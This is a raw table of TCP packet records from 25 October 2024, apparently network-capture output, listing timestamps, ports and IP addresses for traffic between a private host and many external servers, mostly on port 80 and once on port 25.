Oct 25, 2024 11:17:57.835525036 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.835571051 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.835582972 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.835617065 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.835627079 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.835654974 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.835661888 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.835692883 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.835700035 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.835736036 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.836510897 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.836544991 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.836556911 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.836579084 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.836589098 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.836622953 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.836992025 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.837035894 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.837047100 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.837080956 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.837090015 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.837116003 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.837124109 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.837153912 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.837169886 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.837194920 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.837896109 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.837949038 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.837949991 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.837985992 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.837995052 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.838031054 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.840431929 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.840481997 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.840570927 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.840615034 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.840671062 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.840718031 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.840754986 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.840797901 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.950124979 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.950164080 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.950218916 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.950253010 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.950288057 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.950320959 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.950356007 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.950368881 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.950368881 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.950368881 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.950368881 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.950368881 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.950393915 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.950412035 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.950443029 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.950710058 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.950745106 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.950756073 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.950783968 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.950793982 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.950870037 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.950877905 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.950908899 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.950915098 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.950944901 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.950954914 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.950989962 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.951003075 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.951039076 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.951049089 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.951073885 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.951093912 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.951112986 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.951121092 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.951160908 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.951472044 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.951518059 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.951529980 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.951581955 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.951581955 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.951637983 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.951637983 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.951672077 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.951680899 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.951708078 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.951719046 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.951742887 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.951752901 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.951780081 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.951788902 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.951817036 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.951826096 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.951853037 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.951863050 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.951894999 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.952299118 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.952347040 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.952357054 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.952393055 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.952402115 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.952438116 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.952449083 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.952488899 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.952497959 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.952524900 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.952543974 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.952560902 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.952579021 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.952595949 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.952605963 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.952630043 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.952639103 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.952666998 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.952687979 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.952702999 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.952713966 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.952764988 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.953368902 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.953402996 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.953418970 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.953439951 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.953450918 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.953474998 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.953490019 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.953511953 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.953522921 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.953547001 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.953557014 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.953583956 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.953593016 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.953619957 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.953633070 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.953659058 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.953661919 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.953701019 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.955847979 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.955878019 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.955898046 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.955938101 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.065983057 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066025019 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066060066 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066112995 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066133022 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066157103 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066191912 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066203117 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066246033 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066246033 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066283941 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066289902 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066319942 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066325903 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066355944 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066365957 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066401005 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066416979 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066451073 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066459894 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066488028 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066503048 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066518068 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066528082 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066569090 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066571951 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066608906 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066617966 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066660881 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066663027 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066706896 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066719055 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066754103 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066766977 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066791058 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066797018 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066827059 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066834927 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066870928 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066881895 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066925049 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066939116 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.066987991 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.066989899 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.067033052 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.067045927 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.067080021 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.067090988 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.067111015 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.067126036 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.067147017 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.067147970 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.067183971 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.067192078 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.067219019 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.067239046 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.067266941 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.067272902 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.067301989 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.067317963 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.067349911 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.067359924 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.067392111 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.067406893 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.067429066 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.067436934 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.067465067 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.067471027 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.067502975 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.067509890 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.067538023 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.067547083 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.067574978 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.067583084 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.067611933 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:58.067615032 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.067656994 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:58.369566917 CEST	80	52742	103.224.182.253	192.168.2.5
Oct 25, 2024 11:17:58.369667053 CEST	52742	80	192.168.2.5	103.224.182.253
Oct 25, 2024 11:17:58.369980097 CEST	80	52742	103.224.182.253	192.168.2.5
Oct 25, 2024 11:17:58.370064020 CEST	52742	80	192.168.2.5	103.224.182.253
Oct 25, 2024 11:17:58.370281935 CEST	80	52742	103.224.182.253	192.168.2.5
Oct 25, 2024 11:17:58.370335102 CEST	52742	80	192.168.2.5	103.224.182.253
Oct 25, 2024 11:17:58.382855892 CEST	52742	80	192.168.2.5	103.224.182.253
Oct 25, 2024 11:17:58.388380051 CEST	80	52742	103.224.182.253	192.168.2.5
Oct 25, 2024 11:17:58.510462046 CEST	80	52656	213.186.33.40	192.168.2.5
Oct 25, 2024 11:17:58.510533094 CEST	52656	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:17:58.562117100 CEST	80	52658	185.53.177.50	192.168.2.5
Oct 25, 2024 11:17:58.562190056 CEST	52658	80	192.168.2.5	185.53.177.50
Oct 25, 2024 11:17:58.940829992 CEST	52750	80	192.168.2.5	157.112.176.4
Oct 25, 2024 11:17:58.946229935 CEST	80	52750	157.112.176.4	192.168.2.5
Oct 25, 2024 11:17:58.946325064 CEST	52750	80	192.168.2.5	157.112.176.4
Oct 25, 2024 11:17:58.946554899 CEST	52750	80	192.168.2.5	157.112.176.4
Oct 25, 2024 11:17:58.951965094 CEST	80	52750	157.112.176.4	192.168.2.5
Oct 25, 2024 11:17:59.372029066 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:59.372108936 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:59.785767078 CEST	80	52615	104.196.26.65	192.168.2.5
Oct 25, 2024 11:17:59.785845041 CEST	52615	80	192.168.2.5	104.196.26.65
Oct 25, 2024 11:17:59.861921072 CEST	80	52750	157.112.176.4	192.168.2.5
Oct 25, 2024 11:17:59.862119913 CEST	52750	80	192.168.2.5	157.112.176.4
Oct 25, 2024 11:18:00.635868073 CEST	52758	80	192.168.2.5	173.254.28.29
Oct 25, 2024 11:18:00.641230106 CEST	80	52758	173.254.28.29	192.168.2.5
Oct 25, 2024 11:18:00.641311884 CEST	52758	80	192.168.2.5	173.254.28.29
Oct 25, 2024 11:18:00.641437054 CEST	52758	80	192.168.2.5	173.254.28.29
Oct 25, 2024 11:18:00.646807909 CEST	80	52758	173.254.28.29	192.168.2.5
Oct 25, 2024 11:18:00.780980110 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:18:00.781090975 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:18:01.309206009 CEST	80	52758	173.254.28.29	192.168.2.5
Oct 25, 2024 11:18:01.309360981 CEST	52758	80	192.168.2.5	173.254.28.29
Oct 25, 2024 11:18:01.392857075 CEST	52758	80	192.168.2.5	173.254.28.29
Oct 25, 2024 11:18:01.398329020 CEST	80	52758	173.254.28.29	192.168.2.5
Oct 25, 2024 11:18:01.548703909 CEST	80	52758	173.254.28.29	192.168.2.5
Oct 25, 2024 11:18:01.548759937 CEST	52758	80	192.168.2.5	173.254.28.29
Oct 25, 2024 11:18:02.079591990 CEST	52691	25	192.168.2.5	66.226.70.66
Oct 25, 2024 11:18:03.815021992 CEST	52769	80	192.168.2.5	157.112.182.239
Oct 25, 2024 11:18:03.820863008 CEST	80	52769	157.112.182.239	192.168.2.5
Oct 25, 2024 11:18:03.820982933 CEST	52769	80	192.168.2.5	157.112.182.239
Oct 25, 2024 11:18:03.821175098 CEST	52769	80	192.168.2.5	157.112.182.239
Oct 25, 2024 11:18:03.827120066 CEST	80	52769	157.112.182.239	192.168.2.5
Oct 25, 2024 11:18:04.705147028 CEST	80	52769	157.112.182.239	192.168.2.5
Oct 25, 2024 11:18:04.705188036 CEST	80	52769	157.112.182.239	192.168.2.5
Oct 25, 2024 11:18:04.705225945 CEST	80	52769	157.112.182.239	192.168.2.5
Oct 25, 2024 11:18:04.705260992 CEST	80	52769	157.112.182.239	192.168.2.5
Oct 25, 2024 11:18:04.705363989 CEST	52769	80	192.168.2.5	157.112.182.239
Oct 25, 2024 11:18:04.705363989 CEST	52769	80	192.168.2.5	157.112.182.239
Oct 25, 2024 11:18:04.705363989 CEST	52769	80	192.168.2.5	157.112.182.239
Oct 25, 2024 11:18:04.705363989 CEST	52769	80	192.168.2.5	157.112.182.239
Oct 25, 2024 11:18:05.692770004 CEST	52779	80	192.168.2.5	137.118.26.67
Oct 25, 2024 11:18:05.692897081 CEST	49760	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:05.693068981 CEST	49763	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:05.693272114 CEST	52780	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:05.693456888 CEST	52781	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:05.698267937 CEST	80	52779	137.118.26.67	192.168.2.5
Oct 25, 2024 11:18:05.698350906 CEST	52779	80	192.168.2.5	137.118.26.67
Oct 25, 2024 11:18:05.698489904 CEST	52779	80	192.168.2.5	137.118.26.67
Oct 25, 2024 11:18:05.699048996 CEST	80	49760	192.124.249.20	192.168.2.5
Oct 25, 2024 11:18:05.699114084 CEST	49760	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:05.699153900 CEST	80	52780	192.124.249.20	192.168.2.5
Oct 25, 2024 11:18:05.699204922 CEST	80	52781	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:05.699228048 CEST	52780	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:05.699256897 CEST	52781	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:05.699345112 CEST	52780	80	192.168.2.5	192.124.249.20
Oct 25, 2024 11:18:05.699836016 CEST	80	49763	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:05.699887037 CEST	49763	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:05.703897953 CEST	80	52779	137.118.26.67	192.168.2.5
Oct 25, 2024 11:18:05.704837084 CEST	80	52780	192.124.249.20	192.168.2.5
Oct 25, 2024 11:18:05.737833023 CEST	52781	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:05.744132996 CEST	80	52781	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:05.771342039 CEST	49771	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:05.771634102 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:05.776875019 CEST	80	49771	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:05.777612925 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:05.777678967 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:05.778983116 CEST	52783	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:05.785697937 CEST	80	52783	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:05.786941051 CEST	49762	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:05.787179947 CEST	52784	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:05.789707899 CEST	52785	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:05.792279005 CEST	49766	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:05.792361021 CEST	52786	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:05.792613029 CEST	80	52784	104.21.23.9	192.168.2.5
Oct 25, 2024 11:18:05.792676926 CEST	52784	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:05.793123960 CEST	80	49762	104.21.23.9	192.168.2.5
Oct 25, 2024 11:18:05.793180943 CEST	49762	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:05.793754101 CEST	49764	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:05.793991089 CEST	52787	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:05.795078039 CEST	52784	80	192.168.2.5	104.21.23.9
Oct 25, 2024 11:18:05.795120955 CEST	80	52785	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:05.795182943 CEST	52785	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:05.796184063 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:05.796403885 CEST	52788	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:05.797606945 CEST	52785	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:05.797862053 CEST	80	49766	70.39.251.249	192.168.2.5
Oct 25, 2024 11:18:05.797892094 CEST	80	52786	70.39.251.249	192.168.2.5
Oct 25, 2024 11:18:05.797986984 CEST	52786	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:05.798201084 CEST	52789	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:05.799209118 CEST	80	49764	80.93.82.33	192.168.2.5
Oct 25, 2024 11:18:05.799360991 CEST	80	52787	80.93.82.33	192.168.2.5
Oct 25, 2024 11:18:05.799420118 CEST	52787	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:05.800525904 CEST	80	52784	104.21.23.9	192.168.2.5
Oct 25, 2024 11:18:05.801973104 CEST	80	52552	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:05.802022934 CEST	52552	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:05.802330017 CEST	80	52788	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:05.802385092 CEST	52788	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:05.802490950 CEST	52788	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:05.803057909 CEST	80	52785	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:05.803622961 CEST	80	52789	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:05.803674936 CEST	52789	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:05.803762913 CEST	52789	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:05.805840969 CEST	52786	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:05.807255983 CEST	52787	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:05.808094025 CEST	80	52788	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:05.809823036 CEST	80	52789	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:05.811250925 CEST	80	52786	70.39.251.249	192.168.2.5
